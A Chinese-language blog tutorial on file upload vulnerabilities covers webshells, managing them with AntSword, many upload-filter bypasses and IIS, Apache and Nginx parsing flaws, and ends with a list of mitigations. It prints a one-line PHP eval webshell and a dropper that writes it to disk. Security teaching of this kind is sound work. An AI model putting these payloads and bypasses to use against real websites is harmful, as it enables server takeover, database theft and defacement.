文件上传漏洞总结

1.简介

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力。

2.危害

获取服务器的webshell权限,如:
(一)查看/上传/下载对方文件(可以任意的操控对方服务器)
(二)查看数据库信息(拖库)
(三)可以执行系统命令
(四)挂黑页
(五)一句话就是想干嘛干嘛。

3.WebShell

webshell:运行在web应用之上的远程控制程序 。 webshell分为大马、小马等。功能简易的webshell称为小马,拥有较完整功能的webshell,称为大马。

3.1 webshell的具体作用

当我们通过某些操作上传了木马之后,我们可以通过木马来获取目标主机的控制权限、对内网进行扫描、获取内部系统的信息、盗取数据库等等一系列操作。下面使用一句话木马来演示下
前期准备:
安装一下集成环境:这里推荐使用 PHPstudy
安装好环境之后我们来编写一个一句话木马(如何编写我们之后详细讲解)
写好之后呢,我们进行本地利用。
在这里插入图片描述可以看到当我们上传到服务器木马后可以操控服务器进行任何操作。

3.2 WebShell管理工具

常用的webshell管理工具:蚁剑,菜刀,冰蝎等等。

3.2.1 这里用蚁剑来举例

1打开蚁剑 右键添加数据
在这里插入图片描述
URL地址:就是一句话木马的地址
链接密码:就是变量aaa
编码设置:UTF8
链接类型:PHP(你用什么一句话木马链接什么类型)
2测试一下 :连接成功 如果失败就不能访问到了
在这里插入图片描述3选择添加就能进来一句话木马的目录下了 然后就可能进行操作
在这里插入图片描述4.还有一些其他功能大家可以自行尝试
在这里插入图片描述

4. 文件上传的风险处

1、注册/修改个人信息处(如:上传头像等等)
2、敏感身份认证处(如:上传身份证图片/银行卡/个人图片等等)
3、订单评价处(如:上传商品照片等)
4、朋友圈/空间(如上传照片处)
5、所以能上传文件的操作处

5.利用

在利用文件上传漏洞时,先判断网站的开发语言(asp/php/jsp),还要找到上传的文件,利用前端或者抓包方式查看返回的路径(如果绝对路径直接访问,相对路径按经验进行URl地址拼接)。

6.文件上传漏洞绕过

6.1前端检测绕过

前端就是经过javascript来进行验证,不和服务器进行交互。可以看到要求我们上传的是图片,但是我们禁用了js然后上传php也是可以的。
在这里插入图片描述

6.2MIME类型绕过

利用Burp抓包,将报文中的Content-Type改成允许的类型
常见类型有
在这里插入图片描述在这里插入图片描述

在这里插入图片描述修改完成之后可以看到页面显示已经上传成功了右键打开图片可以看到回显有图片上传的地址用蚁剑链接来操作

6.3黑名单绕过

黑名单绕过好很多方式下面介绍一些常用的

6.3.1黑名单过滤不全绕过

前提需要开启一项配置
在这里插入图片描述

由于开发人员相关知识或安全意识的欠缺,导致设置的黑名单不全。这时我们就可以通过其他可解析后缀来绕过黑名单上传可执行的webshell。在实际环境中我们可以将所有的可解析后缀测试一遍,若可以上传并且成功解析,则说明黑名单不全。
准备上传一句话PHP文件,用burp抓包之后,去修改上传文件的后缀名,依次去尝试,对于黑名单策略(限制某一些文件格式),我们可以上传类似可以解析的文件,绕过黑名单,而其他可作为php脚本执行的其他后缀格式有php4,php5,phtml
在这里插入图片描述然后发现是可以链接的
在这里插入图片描述

6.3.2重写绕过

服务端将黑名单的后缀名替换为空,但仅进行一次。上传.pphphp后缀,替换php一次为空,则后缀为php

在这里插入图片描述

6.3.3 .htaccess绕过

在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。即是,可以通过设置可以将该目录下的所有文件作为php文件来解析
.htaccess可以写入apache配置信息,改变当前目录以及子目录的Apache配置信息。
前提条件:
配置上允许.htaccess生效
Apache开启rewrite模块
.apache配置文件为AllowOverride All(默认为None)
以下表示.jpg .png 都可作为php代码解析
在这里插入图片描述先上传上去.htaccess文件 再上传图片码就可以解析
在这里插入图片描述

6.3.4大小写绕过

准备上传一句话 PHP 文件,用 Burp 抓包之后,去修改上传文件的后缀名,改成 PHP大写,能够绕过黑名单检测,突破上传,成功解析。

6.3.5空格后缀名绕过

准备上传一句话 PHP 文件,用 Burp 抓包之后,去修改上传文件的后缀名,后缀名中加个空格,发现能够绕过黑名单检测,成功上传

6.3.6"."号后缀名绕过

准备上传一句话 PHP 文件,用 Burp 抓包之后,去修改上传文件的后缀名,后缀名后加个"."号,发现能够绕过黑名单检测

6.3.7 ::$data

::$data  就是利用windows下的NTFS文件系统的一个特性,
当我们访问a.php::$data  就相当于请求a.php

6.4白名单绕过

6.4.1 %00截断

0x00是字符串的结束标识符,攻击者可以利用手动添加标识符的方式来将后面的内容进行截断,而后面的内容可以帮助我们绕过检测
条件:

php版本<5.3
php.ini这个配置文件magic_quotes_gpc必须为off才有用
上传路径可控的情况下

在这里插入图片描述

在这里插入图片描述

6.4.2 图片木马

条件:必须要有解析漏洞或者文件包含漏洞才能解析图片里面的php代码
图片木马制作方式:
1 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )
2输入系统指令cmd: copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
3这样图片木马就合成好了
在这里插入图片描述上传上去图片可被当做php解析
在这里插入图片描述

6.4.3二次渲染

获得图片后,给你重新加载,然后重新保存,相当于把你加进去的东西给你祛除了,只保留图片本身,可能是给你压缩、或者裁剪
我们可以用gif图去破,因为二次渲染他只会渲染画面部分,一般动态图片的头部四行不会渲染
我们随便打开一张GIF图片,点击用Hex模式查看,我们在第四行开始写我们的一句话木马
在这里插入图片描述

6.5 解析漏洞

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。
此类漏洞中具有代表性的便是IIS6.0解析漏洞,此漏洞又有目录解析和文件解析两种利用方式,但也有少部分是由于配置的疏忽所产生的,如Nginx < 8.03的畸形解析漏洞。

在这里插入图片描述

6.5.1 IIS5.x - 6.x 解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0):
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析:
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
修复方案:
1.可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。

6.5.2 apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

漏洞形式
	www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

6.5.3 3、nginx解析漏洞

漏洞原理
  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
修复方案
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ …*/.*php ) {
return 403;
}
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

6.5.4 IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

IIS 7.0/IIS 7.5/ Nginx <8.03在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
在某些使用有漏洞的网站中,访问http://127.0.0.1/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。
1.jpg/1.php

文件上传修复

对于上传的文件,验证程序要做严格验证,使用服务器端校验,而不能仅用前端javascript验证。
1.建议严格限制上传文件类型和上传文件名及后缀。
2.检查文件头和文件内容,对上传文件目录的运行权限进行严格限制。
3.及时排查、删除服务器木马文件。
4.上传文件的存储目录禁用执行权限
5.文件的后缀白名单,注意0x00截断攻击
6.不能有本地文件包含漏洞
7.及时修复web上的代码
8.升级web server
9.后端验证:采用服务端验证模式
10.后缀验证:基于白名单,黑名单过滤
11.MIME验证:基于上传自带类型艰检测
12.内容检测:文件头,完整性检测
13.自带函数过滤
14.WAF防护软件:宝塔、云盾等

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

制冷少年的成长日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值